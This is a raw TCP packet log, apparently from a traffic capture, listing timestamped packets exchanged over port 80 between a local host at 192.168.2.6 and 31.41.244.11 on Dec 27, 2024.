Dec 27, 2024 08:52:13.888439894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.888463974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.888499975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.889471054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.889503002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.889552116 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.890644073 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.890743017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.890803099 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.891859055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.891916990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.891921997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.892513990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.892987013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.893047094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.893081903 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.893130064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.894205093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.894263029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.894268036 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.894308090 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.895345926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.895443916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.895533085 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.896517038 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.896591902 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.896663904 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.897675991 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.900590897 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.028621912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.028664112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.028738022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.028769016 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.029095888 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.029155970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.029309988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.029361963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.029421091 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.029470921 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.030520916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.030570984 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.030620098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.030672073 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.031663895 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.031716108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.031758070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.031800985 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.032905102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.032955885 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.032982111 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.033005953 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.033993006 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.034049034 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.034109116 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.034152031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.035173893 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.035228014 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.035274029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.035322905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.036365986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.036415100 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.036465883 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.036509037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.037518978 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.037642956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.037700891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.038713932 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.038779020 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.038814068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.038855076 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.039865971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.039930105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.039978027 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.040023088 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.041054964 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.041104078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.041143894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.041208029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.042208910 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.042326927 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.042361021 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.042398930 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.043380976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.043457031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.043484926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.043540001 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.044568062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.044645071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.044681072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.044738054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.045738935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.045794010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.045840025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.045893908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.046919107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.046976089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.047005892 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.047074080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.048085928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.048141003 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.048187971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.048229933 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.049299002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.049360037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.049391985 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.049457073 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.050448895 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.050506115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.050553083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.050595999 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.051625013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.051713943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.051721096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.051759958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.052773952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.052858114 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.052881002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.052923918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.053951025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.054059029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.054063082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.054105043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.055411100 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.055425882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.055490017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.056431055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.056443930 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.056509018 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.057461023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.057531118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.057601929 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.057645082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.059071064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.059083939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.059137106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.059978962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.060038090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.060040951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.060072899 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.060981989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.061043024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.061098099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.061146975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.062150002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.062207937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.062256098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.062304020 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.063343048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.063407898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.063435078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.063483953 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.064502001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.064582109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.064610004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.064657927 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.065674067 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.065730095 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.065799952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.065840960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.066862106 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.066914082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.066972971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.067018032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.068048000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.068099976 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.068126917 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.068170071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.069212914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.069266081 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.069336891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.069386005 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.070377111 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.070431948 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.070589066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.070637941 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.071547031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.071610928 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.071667910 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.071712971 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.072701931 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.072757959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.072815895 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.072865963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.073903084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.073941946 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.073965073 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.073998928 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.075062990 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.075129032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.075170994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.075431108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.076272011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.076323032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.076354027 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.076395988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.077409983 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.077486038 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.077511072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.077554941 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.078805923 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.078819036 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.078862906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.079783916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.079833984 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.079864979 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.079915047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.080959082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.081012964 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.081056118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.081095934 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.082118034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.082165003 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.082180977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.082216978 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.083281994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.083336115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.083383083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.083424091 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.084450960 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.084595919 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.084606886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.084635019 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.085632086 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.085705042 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.085736036 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.085782051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.086803913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.086858034 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.086905956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.086945057 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.088284016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.088295937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.088330984 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.089124918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.089175940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.089204073 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.089246988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.220909119 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.221050024 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.221179962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.221421003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.221537113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.221586943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.222629070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.222711086 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.222726107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.223769903 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.223825932 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.223869085 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.224701881 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.224945068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.225050926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.225095034 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.226140022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.226355076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.226396084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.227278948 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.227344990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.227391958 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.228496075 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.228563070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.228564978 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.228599072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.229638100 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.229700089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.229749918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.229794979 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.230820894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.230880022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.230942965 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.230994940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.231997013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.232048988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.232089996 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.232130051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.233181000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.233256102 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.233282089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.234338999 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.234390020 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.234436035 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.235519886 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.235570908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.235590935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.235625982 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.236695051 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.236787081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.236831903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.237878084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.237925053 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.237952948 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.237996101 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.239038944 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.239260912 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.239320993 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.240240097 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.240336895 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.240381956 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.241411924 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.241463900 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.241509914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.241554022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.242963076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.242979050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.243019104 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.243741035 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.243809938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.243871927 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.243937969 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.244915962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.244970083 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.245002031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.245044947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.246088982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.246140003 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.246206999 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.246248960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.247361898 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.247376919 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.247414112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.247431993 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.248507023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.248536110 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.248564005 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.248584032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.249603033 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.249655008 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.249701977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.249744892 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.250761032 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.250812054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.250859976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.250900030 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.251945019 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.252005100 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.252031088 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.252069950 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.253164053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.253207922 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.253216982 CET	49949	80	192.168.2.6	31.41.244.11
